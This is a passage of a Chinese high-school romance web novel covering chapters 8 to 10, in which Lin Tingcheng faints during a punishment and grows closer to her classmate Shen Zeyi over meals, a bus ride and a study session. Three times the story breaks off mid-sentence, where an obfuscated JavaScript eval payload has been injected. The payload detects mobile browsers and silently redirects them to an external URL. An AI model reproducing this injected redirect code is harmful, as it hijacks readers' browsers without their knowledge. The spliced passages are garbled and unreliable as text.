她本质上是“好学生”的思维,不敢做这些违规的事情。哪怕此刻,她身心疲惫,没有一点精神支撑,她还是不想迈出这一步。 沈择屹换了个姿势,将身体侧过来,挡住身后的那扇窗户,姿态松弛:“那还需要我讲题吗?” 林听澄看着桌上的草稿纸,上面满是计算过程,书写整齐,字迹清秀。 或许,他是个很好的老师。 “会不会太麻烦你了。” 她双手乖乖搭在桌面,仰头看他,眼睛弯弯。 她现在肚子疼没有精神写作业,讲些题能听一点是一点,总比自己坐在那儿发呆好。 沈择屹定定地盯着她,徐徐开口:“题目。” 林听澄从桌角那堆书里拿出一本笔记本。 那是她整理的错题集,把自己考试出错的题目都整理了进去,方便自己考前复习。里面标注了五角星的题目是她还没有彻底掌握的,稍微变动一下题目就又不会了。 沈择屹朝她靠近,低头扫了一眼她的错题本,开始讲题。 也不知道怎么回事,这次讲题的速度很慢,语速慢,声调低。尽管林听澄非常集中注意力地听题,她的眼睛还是睁不开,比之前更困了。 起初她还拿着笔在草稿纸上跟着写,没写两题,笔尖就不动了,目光呆滞地盯着题目。 沈择屹身子坐得挺直,从他的视角看去,能清楚地看到林听澄的一举一动。 于是,他在讲题的中途慢条斯理地插了一句:“你可以趴着听。” 他的话仿佛是下了什么迷药,林听澄没有任何反驳,自然而然地趴了下来。耳边萦绕着低磁的声音,吐出的每个字都裹挟湿热的气息,似有似无地掠过她的肌肤。 她睫毛轻轻颤着,缓慢闭合,直到眼底的一切渐渐氤氲成一片朦胧,她彻底闭上了眼睛。 沈择屹的声音就此停下。 教室仍是不安静的,细碎声音从各个角落渗出,仿佛在他停止的那刻放大了数倍,编织了一片朦胧的背景音。 林听澄缩着肩膀,蒙着脑袋睡觉。 沈择屹则懒散地趴在桌子上,时不时留意窗外,却忽略了身后的一切。 从背后看去,他们俩都在趴着睡觉。 正在走廊巡逻的教导主任忽然出现在后门口。 他静静地站在后门,看着高二六班的“盛景”,窃窃私语、传递纸条、喜笑颜开……当然,这些都算不上什么大事,毕竟叛逆期的学生坐不住是正常的,但是不把规矩放在眼里,那种肆无忌惮地睡觉、毫无顾忌地交头接耳,绝不能容忍! 主任看不下去了,朝着他们怒吼了一嗓子。 “你们两个给我出来!还有那些交头接耳,呼呼大睡的人全都一起站出来!” 一声吼叫,惊得所有人心头猛颤。 林听澄被吓得愣住了,转头看向自己的身后,教导主任以一种十分压迫的视角注视着自己。 林听澄知道,自己做错事了。 她没有一丝犹豫,直接起身站了起来。与此同时,沈择屹也站了起来,两人是一起站出去的。 有了打头阵的人,其他犯错的同学纷纷跟在后面。 没一会儿,高二六班的走廊上,站在一排的学生。 沈择屹为首,邬戾收尾。 林听澄有些局促,低着头看着脚尖。 教导主任从头到尾扫了一眼,目光停留在林听澄身上,语气凶狠:“一共八个人,就你一个女生,丢不……” 丢不丢人,还没说出来。 沈择屹皱着眉打断了:“主任,她身体不舒服。” 清冷的声音在寂静的夜显得格外清晰。 教导主任将注意力转移到沈择屹身上,双手插在腰后,抬头看着他,怒意不减。 “不舒服就能成为自习课睡觉的理由了吗?” “你们这些借口我听多了,晚自习睡觉是绝对不允许的,既然这么困,那就在外面给我站着!” “还有你们几个,一起站着!不收拾你们简直不把老师放在眼里了!” 教导主任真的被气到了。 他们正值高二,还有几个月升高三,在这么紧张的时刻,居然没有一点高考的紧促感,仍这么肆意妄为。 罚!该罚! 林听澄心底是愿意接受惩罚的。 这件事确实是自己的错,没有管束好自己,所以不管什么惩罚她都认。 话音落下不到两秒,沈择屹的声音再次响起。 “主任,她身体真的不舒服。” “您需要罚站多久,我罚站双倍时间。” 这道声音强硬有力,仿佛穿透了厚重的云层,乘着月光飘进了林听澄的耳畔。 她愣在了原地,有些不敢相信地仰起了脑袋。 夜色下,他站姿挺立,姿态略显散漫,但眉眼锋锐得让人不敢靠近。 “沈择屹,你别以为你成绩好可以跟老师讲谈条件。你们两个晚自习睡觉就是做错了,自己的错要自己承担!” “各自罚站半小时!我之后来检查。” 教导主任狠狠瞪了一眼,丢下这两句便离开了这层楼。 “主任,林同学是真的不舒服啊,谁都有特殊情况啊,就不能通融一下吗。” “我也能帮她罚站,我和沈择屹一起啊。” 邬戾对着主任离开的背影连连叫喊,谁知换来一句“再多讲一句话,全体罚站一小时”的警告。 走廊瞬间安静了,谁也不敢再多嘴。 漆黑的夜晚,明亮的教学楼,阵风吹过,一排人的光影在墙壁上游走。 说实话,这是林听澄第一次被罚站。 虽然会有点不好意思,但是做错了事情确实该受到惩罚。 她缓缓低下头,双手自然垂下贴在腿边,因为腰酸便下意识将后背靠在墙上缓解,微微松下了肩膀。 下一秒,一道高大的身影挡在了她的面前。 她抬头,宽阔的肩膀映入眼帘,少年就这样悄无声息地站在她的面前。 这一刻,仿佛时间开始变得缓慢。 林听澄看着两人的影子被月光拉得很长,依靠交织着,在墙上勾绘出他们的模样,心底有种说不出的滋味。 站了差不多十几分钟,林听澄有些站不动了。 她按压着肚子缓缓垂下了肩,低下头的那刻只觉得呼吸不畅,头昏脑涨,紧接着视线开始模糊,耳朵发闷,几乎没有任何缓冲,整个人直接倒了下去。 之后发生了什么,林听澄什么也不知道了。 只知道,自己做了一个梦。 梦里有人轻轻地将她抱起,在周围乱哄哄的杂音下,越过人流越过山海。而她安静地倚靠在一片温暖之中,睡了个好觉。 再睁开眼,自己正在医务室的床上。 头顶白花花的白炽灯照着她晃眼,她本能地举起手遮住眼睛,耳边传来温和的女声。 “醒了呀,有没有哪里不舒服?” 校医俯身仔细看着她,关切地摸了摸她的脸颊。 林听澄摇了摇头,从床上缓缓坐了起来,校医给她倒了杯温水放在桌子上。 “你啊,生理期身体这么虚弱,还不好好吃饭。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139999|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “你被送过来的时候,脸色可差了,你是不是有点贫血啊?” 林听澄有些恍神,絮语道:“我也不太清楚。” “平时要多注意自己的身体。” “我喊你同学进来吧,他们一直守在门口呢。” 林听澄点了点头,校医打开门,朝外面喊了一句。 紧接着,邬戾急匆匆地冲了进来:“林妹妹,你没事吧?” “你知不知道,你‘唰’的一下直接倒下,我们魂都吓没了。” 林听澄有些怔愣。 她看了一眼邬戾,而邬戾身旁再无他人。 又下意识朝门外看去,呆呆地望去,似乎在找什么人,但门外确实没有人了。 “林妹妹,你怎么变得傻乎乎的了?” 邬戾举起手在她面前晃了晃。 林听澄回神,笑了笑:“邬戾,是你送我过来的吗?” 邬戾正要回答“不是”,门口传来阵阵脚步声。 两人朝门外看去,沈择屹拎着一个塑料袋,里面装着一碗面。 邬戾震惊,目光跟随他手里的那碗面,问道:“食堂这个点不是下班了吗?这怎么还能开小灶啊。” 沈择屹没说话,小心地将那碗面放在桌上,抬眸望向林听澄:“吃点吗?” 林听澄看着他,一时之间不知道该说些什么。 最后,轻轻点了下头。 下床后,她安静地坐在桌边,面还是热的,打开碗盖的那一瞬间,滚烫的热气扑面袭来,夹杂着淡淡的清香。 沈择屹和邬戾坐在后面的凳子上陪她,似乎太安静了,她犹犹豫豫地开口:“主任他……没有为难你们吧。” “放心,主任以为自己体罚出事,正反思呢。” 邬戾说的是实话。 毕竟在罚站之前,已经明确告知林听澄身体不舒服,是主任没有当回事,之后晕倒了,他才急得团团转。 林听澄又问:“那我睡了多久,现在什么时候了?” “不久,第二节晚自习刚下课。” 沈择屹抬眼,与她相视。她状态看起来之前好多了,起码脸上有血色了。 林听澄歉意地低下头:“不好意思,给你添麻烦了。” 沈择屹懒洋洋站了起来,修长的腿朝她的方向走了几步。 在桌边停下后,微俯下身,半只胳膊撑在桌上,压低着身子,一字一句道:“我这人呢,比较重情义,朋友的麻烦不算麻烦。” 朋友…… 林听澄轻轻呢喃了一遍。 不容她多想,上空又飘来一道声音,悠悠传入自己的耳边:“这面,味道怎么样。” 林听澄低头,用筷子搅拌了一下,由衷称赞:“挺好吃的。” 此时,教导主任匆匆赶来。 看到林听澄正在吃面,瞬间松了一口气:“林同学,下次再有这种情况要跟老师说,幸亏没什么大事,不然学校担待不起啊! 沈择屹冷冷地瞥了他一眼:“主任,我们可不止说了一遍,她身体不舒服,是你坚定认为她在装病。” “你小子,差不多得了啊。” 主任脸色有点难看,但顾及面子还是尴尬地笑了笑。 “林同学好好休息吧,想提前回家或者在医务室躺着休息都可以,身体最重要。” “你们两个跟我回班自习!” 在教导主任的监督下,邬戾和沈择屹无法违反命令,只能回班。 当他背影消失在门口的那一刻,林听澄喊住了他。 “沈择屹。” 沈择屹脚步一顿,转过身看向她。 倚着外面的月光,少年被照的明亮又皎洁。 林听澄嘴角弯起:“谢谢你。” 一句道谢,满是少女真心。 8. 一六年春 「所以,喜欢是什么感觉。」 ——小澄同学.FM0106 . 发生昨天那件事后,李响早自习时对他们进行了深刻的教育。一是遵守课堂纪律,二是身体不舒服及时去医务室检查。 能听进去的人很少,大家都昏昏欲睡的,铃声响起,除了各科课代表开始忙着收作业,其他同学全部倒头大睡。 林听澄也很困,她每天的作息虽然规律,但是睡眠时间很短。晚上十二点睡,早上五点半起床,再赶六点的公交车,六点五十到学校。加上昨天身体不舒服,回家后又忙着补作业,硬是撑到一点才睡。 她刚把书桌收拾干净,准备眯一会儿,门口传来对话声。 声音不大,只是教室太安静,显得格外清晰。 “同学你好,我想找你们班……” 正在收作业的萧捷扫了她一眼,看到她手里拿着一张粉色信封,立马秒懂。甚至没有让那个女生说完,就打断了她的话:“行,我帮你喊沈择屹。” 紧接着,朝沈择屹喊了一声。 “沈择屹,门口有女生找!” 沈择屹趴着没动,林听澄把头抬起来看了一眼。 门外站着一个女生,穿着干净的校服,探着蘑菇头往教室里面看。 在听到喊出“沈择屹”的名字时,明显慌了,赶紧解释。 “不是不是,我不是找沈择屹。” “我找林听澄。” 萧捷愣住,盯着她手里的情书满是疑惑。 “你手里拿着的不是情书吗?” “我靠,你……你给林听澄的情书?” 话音落下,班里一半的同学抬起了头。 本来那一声“沈择屹”就吵醒了一小半的同学,而这句“林听澄”更是惊醒了一半同学。 “你能不能听我把话说完。” 那个女生似乎恼了,语气有些不耐烦。 萧捷挠了挠头:“不好意思,你说。” “情书不是我的,是我们班男生的,他不好意思,让我帮忙送一下。” 萧捷恍然大悟,尴尬地笑了笑。 “哈哈哈哈男生也会写情书啊,这么纯情的嘛。” “原本一个沈择屹就够招人的了,现在又来了一个大美女,咱班真是著名景点啊。” 这次,所有人的视线落在林听澄身上。 林听澄似乎没反应过来,但她身旁的沈择屹突然抬起了头。 班里阵阵起哄声,林听澄一头雾水地走了出去。差不多过了两分钟,她两手空空地回来。 教室里的人少了一大半,剩下的人继续趴着睡觉。 许早转过头,一脸吃瓜地看着林听澄:“你有情况啊?” 林听澄摇了摇头:“我不认识。” “那暗恋你?”许早又问。 “我不清楚。” 林听澄被扰了困意,索性拿出作业开始写。 许早却急死了,像是在瓜田里上蹿下跳的猹,一个劲儿缠着问。 “不是,你怎么什么都不知道啊。” “情书呢,里面写的什么?” “我没有收呀。” 林听澄手上动作顿了下,很认真地看向许早。 “我跟她说,我不早恋。” 话音落下,沈择屹闷笑了一声。 笑得很轻很低,松弛又散漫,随着风声一起飘进林听澄的耳畔,勾起一阵无法控制的酥麻。 许早看着林听澄认真又正经的模样,完全被她可爱到了,忍不住上手揉了揉她的脸,声音夹着撒娇。 “啊啊啊宝宝你真的太可爱了,我好喜欢你啊。” “你怎么能顶着这么漂亮的一张脸,露着呆呆萌萌的表情,一本正经地说出这么严肃的话呢,真的太招人喜欢了,简直是萌物!” 林听澄睁着圆圆的眼睛,盯着她有些愣神。 好像一直以来,她都是招人嫌的那个,没有人喜欢她,也没有人愿意和她成为朋友。 第一次,有人说喜欢她。 “不过澄澄,你可能是因为还没有遇到喜欢的人,所以面对这些事情很无感。如果哪天你遇到了喜欢的人,你就会忍不住向他靠近,他的一举一动都会勾着你的心。” 许早突然顿了一下。 朝某个方向匆匆看了一眼,垂下眼,露出浅浅的笑:“喜欢的感觉真的很奇妙。” 林听澄没有说话,只是从书包里拿出一本方格本交给许早。 “早早,你昨天没有来,我帮你把老师讲到的难题整理了一下,如果有看不懂的地方,你就来找我。” “或者你也可以找沈择屹,他讲题很厉害的。” 许早接过本子正要拥抱感谢,听到她说的下一句话,觉得有些不可思议。 “沈择屹……他会讲题?” “我之前问他一道题,他都不带搭理的。” 林听澄愣了愣,转头看向沈择屹。 沈择屹懒懒伸了个懒腰,语气漫不经心:“怎么说我坏话还当着我的面?” “什么坏话,我实话实说。” 许早气势汹汹,狠狠瞪着他。 沈择屹笑了,语气里带着些玩笑的意味:“我啊,讲题目只跟聪明的人讲。等你数学什么时候超过一百一,再来找我吧。” 许早翻了个白眼:“不想和你这种高智商学神说话,感觉是在嘲笑我。” 随后,笑眯眯看向林听澄:“澄澄,你跟我讲,我喜欢听你讲。” 林听澄笑了笑:“好呀。” 得到她的肯定回答,许早美滋滋拿着作业本回去整理。 沈择屹的视线跟随着林听澄,缓缓开口:“你,是不是答应了要请我吃饭?” 林听澄点头,看向他:“嗯嗯,你想今天中午吃吗?” 沈择屹眼眸深沉,若有所思:“明天吧。” “明天?明天是周六。”林听澄有些惊讶。 “你有约了?”沈择屹反问。 她摇头:“没有,但是我周末要写作业。” 沈择屹:“一起带着,下午教你。” 林听澄想起他刚才对许早说的话,怔怔地看着他:“那你对其他课程有什么分数要求吗?” “嗯?”沈择屹尾音扬起。 林听澄解释:“我语文和英语都还可以,数学稳定在一百二,物理稍微弱一点……” 沈择屹愣了会儿,后知后觉自己刚才提出了“分数要求”,嘴角扬起笑,打断她的话:“没要求,对朋友没要求。” 他顿了顿,又补充了一句:“你很聪明。” 窗外传来几道呼喊声,沈择屹被他的好友强制拉出去玩了。 阳光透过枝桠,斑驳地洒在墙上,斜斜地落在走廊,阵风徐徐袭来,吹动着桌面上的书页,“哗哗”地翻过一页又一页。 林听澄忽然意识到,夏天快要来了。 今天是周五, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140000|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上晚自习。 按理来说,上完最后一节课就该正常放学。也不知道校长怎么回事,要求所有人在操场集中,进行一次简短的讲话。 “时间比较匆忙,主要讲两件事,耽误大家两分钟。” “下周进行期中考试,是省级联考,大家好好复习,别让学校丢人……” 校长说着只讲两分钟,实则已经讲了十分钟。 操场上站着黑压压的学生,全都低着头驼着腰,没人在听也没人在意,他们在意的只有什么时候能够放学。 “最后一件事,前段时间的各科竞赛,我们学校多位同学取得好成绩,他们分别是……” 最后的最后,大家以为公布完这些获奖的学生就能结束。谁知道,校长又让那些“好学生”挨个说学习经验,一共五个,沈择屹站在最后一个。 前四个像是提前准备好了说辞,站在话筒前就开始滔滔不绝地讲话,一个比一个讲得激动,前四个硬生生讲了十五分钟。 台下同学们就差摔书包走人了,明明白天有那么多时间,非得挑着现在的放学点。但他们不敢发泄,只能低着头互相吐槽。 轮到沈择屹时,一直低着头的林听澄抬头朝演讲台的方向望去。 远远地看不清,依稀看到一抹高瘦的身影站在人群最前端,他调整了一下话筒,把立杆拉长了一些,紧接着清透悦耳的声音从广播里传出。 “我没什么学习经验,全靠老师栽培。” 此话一出,台下一阵哄笑。 谁都知道,沈择屹是天生脑子好,与老师关系不大,不然所有同学都能上清北了。 沈择屹勾起嘴角,跟着台下一起笑,声音有些闷,透着一股淡淡的痞劲儿。 “所以,不耽误大家放学时间了。” 几乎是一秒,台下一阵欢呼。 同学们完全不等校长同意,直接转身离开。原本整齐的队伍如今像是散沙,朝四面八方散开。 许早立马跑到后排去找林听澄,拉着她的手腕跟她碎碎念。 “还得是沈择屹,有点活人味。” “不是说那些好学生不好,而是他们给我一种死气沉沉的感觉,毫无青春的活力。” “不过话又说回来了,能有几个沈择屹,能有几个高智商的人呢,大家普遍都是辛苦刷题的学生,饱受煎熬。” 许早说完,停了两秒,又继续说。 “其实沈择屹这人真的挺好的。对朋友仗义,做事靠谱,成绩更没的说,也不会随便乱开女生的玩笑。” “别看他平时懒懒散散,追他的女生也多,但是我没见过他和某个女生走得近,更不会和某个女生拉拉扯扯。” “虽然我上午还在吐槽他不给我讲题,但其实是他讲的我都听不太懂,我本身基础弱一些,一些难度较大的题目我经常反应不过来,让他讲题是对彼此的一种摧残。” 许早挽着林听澄的手前后晃动,一个人叽里咕噜说了好多,见她一直没有说话便侧头看了一眼:“澄澄,你在听我说吗。” 林听澄睫毛眨了下,低着头一字一顿缓慢开口:“我也觉得,他是个很好很好的人。” 说完这句,自己的右侧肩膀被人轻轻撞了下。 那人过来时掀起一阵风,裹挟着一种独特的少年气息,清冽如薄荷。 薄荷…… 林听澄像是想到了什么,刚要抬起头,耳边传来低沉的声音—— “明天见。” 9. 一六年春 「扑通,扑通……是心跳声,还是心动声。」 ——小澄同学.FM0106 · 林听澄出门前在房间里犹豫了好久,她在纠结自己带多少钱合适。两个人吃饭应该是花不了多少,但是沈择屹看起来家境很好,她担心请客太便宜显得自己小气。 她并非小气之人,何况沈择屹帮助了自己那么多,请他吃点贵的也是应该的。 心底有了大概盘算,她从抽屉里拿出信封,从那一沓现金里拿出了五百块,其余的重新放好。 轻轻呼了一口气,她想,应该是够了。 从房间里走出来,林纭正窝在沙发上看电视,她匆匆瞥了一眼,当作没看见。 林听澄还是和她说了一声:“妈妈,我中午不在家吃饭。” 林纭没出声。 林听澄背着书包在门口换鞋时,她才不耐烦地吱了一声:“少你一口饭,我求之不得。” 林听澄手上动作僵了下。 之后又很快恢复正常,换好鞋,出门坐公交。 她和沈择屹约好十一点在校门口见面,算好公交车的时间,她提前十分钟到学校,却没想到沈择屹已经在这里了。 他还是以往的穿衣风格,穿着宽松的卫衣和直筒裤,上半身倚靠在墙上,双手交叉环抱,如此懒散地站着,仍抵不住自身的少年气,如此骄傲如此耀眼。 他似乎是看到了马路对面的林听澄,主动和她招了下手,朝她走过去。 今天天气很好,阳光明媚,微风不燥。 他穿过马路时,掀过一阵风,碎发被吹动得微微飘动。 “你等了很久吗?”林听澄问。 沈择屹:“没有,刚来。” 第一次和异性独处,林听澄有些不自在地四处张望,慢悠悠开口:“你想吃什么呀,什么都可以。” “真的?”沈择屹笑。 林听澄点头,下意识摸了摸口袋,她带够钱的。 沈择屹没说要吃什么,只是带她沿着这条路走到了尽头,一家名叫“阿婆馄饨”的小店里。 店铺很小,甚至都算不上正儿八经的店。仅仅是一个手推车和一个简易搭建的棚子,棚下摆放着三张略显陈旧的桌子。阿婆则坐在竹椅上,手中摊开一份报纸,惬意悠闲。 “阿婆,我们来吃饭,两份馄饨。” 沈择屹提高了音量,放柔了腔调对阿婆喊了一声。 林听澄神色怔怔,问道:“吃小馄饨吗?” 她注意到推车旁摆着一块纸质立牌,上面写:馄饨八元一份。 “你不喜欢?” 沈择屹看向她。 “不是,我请你吃饭,我想着……” 林听澄一时之间不知道该怎么措辞回答。 她是觉得,沈择屹平时帮自己那么多,自己该多准备一些,起码得让自己的偿还高于他的付出。 这里一碗馄饨的价格还没学校食堂快餐贵,何况他给自己买了牛奶、三明治和面条,好几次出面帮自己,她怕太委屈他了。 但她绝对没有嫌弃这里的意思,她只是不想欠沈择屹太多。 沈择屹看她犹豫的模样,明白了她的意思。 索性直接坐下,一边用餐巾擦拭桌面和勺子,一边解释:“不会,我很喜欢这家。” 林听澄不再纠结,既然他喜欢,那就一起吃。 她坐在他的对面,刚坐下,阿婆端着馄饨走了过来,第一碗放在林听澄面前,第二碗放在沈择屹面前,慈祥地看着他。 “小沈,你不用特意照顾我的生意,下次想吃什么就去吃,别管阿婆啊。” “不过还是第一次见你带女生过来,阿婆挺高兴的。” “阿婆,我是喜欢吃才过来的,您别多想啊。” 沈择屹笑笑,将擦干净的勺子放到林听澄碗里。 阿婆笑得乐呵呵,又转头看向林听澄:“姑娘啊,你第一次来,尝尝味道怎么样。” 林听澄笑着应下,尝了第一口,眼眸瞬间明亮起来:“阿婆,很好吃呀,很香很醇的味道。” 阿婆更高兴了,坐在竹椅上摇摇晃晃,手里拿着报纸,耳朵听着录音机里的广播声。 “你经常来这儿吃吗。”林听澄问他。 “算是吧,阿婆挺不容易的,开个小店独自抚养上小学的孙子。”沈择屹眉眼舒缓,“所以,平时没事就过来吃一碗。” 林听澄手里的勺子突然顿了下。 她没说话,缓缓低下头。碗里升起热腾腾的雾气,模糊了她的视线,眼底氤氲了一片潮湿。 气氛有些安静,录音机里传来“滋滋”的电流卡顿声在此刻显得尤为嘈杂。 沈择屹察觉到她的情绪有点不对劲,试探性问了句:“怎么了?” 林听澄摇了摇头,说不出话,只是一味地用勺子晃动碗里的馄饨。 沈择屹没继续问,也没说其他的话打扰,安静地坐着。 过了好一会儿,林听澄抿了抿唇,缓缓开口:“阿婆和我外婆很像。” 声音很闷,带着些细细的哭腔。 后面还有一句,林听澄没有勇气说出来—— 她想外婆了,很想很想。 她的外婆叫何双英,六十岁的老太太。 没读过什么书,也不识几个字。唯一会写的字就是她的名字,是林听澄一笔一画教会她的。林听澄到现在都记得,她笨拙地握着笔,写出歪七扭八的字的模样,是个可爱的老太太。 她种着两亩地,操持着家里大大小小的事,上午做农活,下午卖菜,晚上做好饭等林听澄放学一起吃。一天下来赚不了几个钱,最后却日日积攒,为林听澄存了六千块的读书钱。 她辛劳一辈子,临走前身边连个人都没有,最后一眼更是什么也没看见…… 林听澄平复了一下心情。 再抬头看向阿婆,阿婆还是那般,坐在摇椅上晃呀晃。曾几何时,她的外婆也是躺在竹摇椅上,给自己哼唱着“摇啊摇,十五摇过春分就是外婆桥。” 可是外婆,现在只有桥了。 吃完饭,林听澄深深地抱了一下阿婆。 像是在弥补,又像是在割舍。 阿婆轻轻拍着她的后背,对她说:“想吃就随时来,阿婆一直在这里。” 林听澄颤着音,轻轻应下。 他们本来说下午去图书馆学习,但是怕图书馆过于安静,不方便讲话,便找了一个自习室,可以随随时交流讲题。 刚好公交车驶来,两人直接走了进去。 林听澄走在前面,准备拿出公交卡刷卡时,她身后的沈择屹抢先给她刷了。 连刷两次,机器播报了两次学生卡。 林听澄望着他,他微挑了下眉,示意她往里面走,后面还有人没上车。 去往市中心的公交车很拥挤,周末人多,没有座位。 林听澄站在偏后一点的位置,她头顶的吊环都被别人拉满了,自己也够不着握横杆,便双手扶着面前的椅背。 沈择屹个子高,单手轻轻松松握住横杆。他高大的身影挡在林听澄的身后,不会过于靠近,两人之间隔着些安全距离,只是车上人来人往,流动性太大,两个人站得都不算特别稳。 每次停车都会由于惯性,身体跟着晃动一下。不是沈择屹撞到林听澄的肩膀,就是林听澄的后背撞到沈择屹的胸膛,两人起初还互相礼貌地道歉,最后被撞得都沉默了。 直到前面一个大拐弯,旁边的女生没站稳撞了一下林听澄,林听澄重心不稳地往一侧倒去,眼看着要倒在别人身上,沈择屹及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140001|164479||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时伸出手拉着了她的胳膊,反方向地用力将她轻轻揽入怀里。 林听澄没回神。 沈择屹的手仍握着她的胳膊,他低头微微歪着,凝着她的眼眸,声音低低柔柔:“没事吧。” 她摇了摇头,耳畔被这道灼热的呼吸拂得微微发热。 沈择屹等她站稳后松开了她的手,主动将手搭在椅背上,轻轻护住了她。 林听澄透过前面那扇窗户,看到玻璃上倒映出他们的模样,好似少年将她整个人包揽在怀,看似亲昵的动作,但林听澄知道,他很绅士,完全没有触碰到自己。只是隔空将自己包揽着,安安全全地护住了自己。 二十分钟后,他们到达自习室。 这家自习室是沈择屹找的,他直接包了一下午。 一小时三十块,价格比其他自习室贵很多,主要是环境好,还会供应饮料点心。 “我来付吧。” 林听澄抢着开口,急急忙忙从口袋里掏出钱,却不及沈择屹扫码付款来得快。 眼睁睁看着他完成付款,林听澄越发不好意思。 毕竟他是为了帮自己辅导作业才选择来自习室的,所以这些钱应该由自己来付,今天所有的消费也应该让自己来买单。 如今越欠越多。 算了,慢慢还吧。 自习室和图书馆相比,学习氛围会更浓厚一些。 它不像图书馆那般不允许有一点声音,只要在不影响别人的前提下,有一点点交流声音是没关系的。 他们找到了一个靠窗的双人座,并排坐着。 林听澄从书包里依次拿出作业摆在桌上,沈择屹就单手撑着下巴看着她整理。 忽然,嘴角扬起淡淡的笑,漫不经心地开口:“今天不会犯困了吧。” 林听澄笑了笑:“不会,今天状态很好。” 她带的作业不多,只有物理和英语。本来想先写物理,有不懂的题目再问沈择屹,可当她看到沈择屹拿出英语试卷做听力时,她突然有了一个想法。 林听澄朝沈择屹那边靠近了一点点,压着声音问道:“你听完听力后,音频能借给我听一下吗?” 她家没有电脑,准确来说是没人给她买。 英语听力的音频需要用电脑登陆官网进行下载,手机进不去。所以她平时遇到一些听力作业都是出去找网吧,下载到手机后再做题。 沈择屹转头,看着她贴近自己的脸。 白皙的肌肤透着淡淡的粉色,长长的睫毛微微翘起,黑色的眼眸在阳光照耀下闪烁着淡淡琥珀色,灵动又漂亮。 他停滞了两秒,面无表情地开口:“不能。” 被拒绝的林听澄也没觉得有什么。 她本来是打算这边自习结束后,找个附近的网吧下载听力音频,回家再写,反正不管怎样都不会耽误自己写题。 就在她准备缓缓离开,重新拾起笔写物理时,少年的声音慢悠悠传来。 “为什么要等我听完再借给你。” 林听澄移动的身子原地怔住。 下一秒,线条流畅的手臂从自己眼前掠过,耳机线静悄悄地垂在胸口,他的手拿着耳机轻轻地塞进了自己的耳朵里。 那一刻,耳边什么声音都听不见了。 林听澄只能感觉到,他的指尖极其轻微地触碰了自己的耳朵,耳朵瞬间攀起一股灼烧感,连带自己的脸颊都晕染了一片粉红。 她的心脏越跳越快。 明明耳机堵住了耳朵,堵住了一切声音,可心脏的跳动声还是如此强烈地震颤着。 扑通,扑通。 直到,沈择屹侧过头,那双深邃的眉眼认真地望向自己。 她终于听到了心脏跳动以外的声音—— “耳机分你一半,我们一起听。” 10. 一六年春 「我好像,有了一个喜欢的人。」 ——小澄同学.FM0106 · 一段听力结束,林听澄摘下耳机。 似乎还有余音,机械的英语声萦绕在耳畔。 “需要再听一遍吗?” 沈择屹问她。 林听澄小心翼翼地将耳机线整理好,归还给他:“不用,我写好了。” “如果你平时不方便下载音频,我之后可以直接转发给你。” 沈择屹掌心撑着下巴,一本正经地看着她。 林听澄怔了怔,明明她没有和他说过,自己因为没有电脑而不方便下载,也没有和他提出任何要求。但在他面前,自己被窥探得一干二净,心里所有的纠结和想法,他都能一眼看明白。 她垂下眼,轻轻应了一声:“谢谢。” 沈择屹故作深沉地点了点头,慢悠悠问道:“那我怎么发给你?” 林听澄试探:“方便和我加个联系方式吗。” 沈择屹挑了下眉,没说话,直接拿出手机,打开微信。 两人当面扫码加好友。 沈择屹的微信名很简单,是数字“1”,谐音“屹”。 头像却出乎意料地不符合他的风格,是一只白色猫咪盯着窗外看雨。 林听澄看着他的头像有些出神:“你头像的猫猫是你养的吗?” 沈择屹回答:“是,叫coco。” coco是沈择屹捡的一只流浪猫,现在已经一岁了。 林听澄笑了笑:“很可爱。” “下次带你去见见?” 林听澄瞳孔微微放大,没回答,依旧是那副笑眯眯的模样。 在自习室差不多待到了四点,林听澄准备回去了。 这里离她家较远,得转两次公交车,到家估计要六点了。 沈择屹没多言语,只是和她说,自己去旁边打个电话,让她等一会儿。 林听澄乖乖点头,站在原地等他。 她低着头看自己脚尖,双手轻轻晃动,整个人悠闲放松,完全没注意前面有一辆电动车正逆向行驶地朝她骑过来。这条路通常是行人走的小路,很少有车辆驶入,更不用说逆向行驶了。 直到耳边传来喇叭声,她抬起头看去,才发现自己已经躲不开了。闭上眼的那刻,她以为自己会重重地撞倒在地,然而什么痛感也没有。 她只感受到自己的手腕被拉住,后腰被揽住,紧接着落入一片温暖,脑袋后传来一些软软的触感。 睁开眼,眼前多了一抹身影。 沈择屹的右手揽着自己的后腰,将自己拥护住,左手挡在自己的脑后,他的手背在斑驳的墙壁上硬生生蹭出一大片划痕,血迹斑斑。 他敛着眉间,眼眸深沉,声音缓缓:“没事吧。” 林听澄的心猛然颤了一下。 她盯着他,眼睛有些发酸。明明受伤的是他,保护自己的也是他,可他却在问自己有没有事。 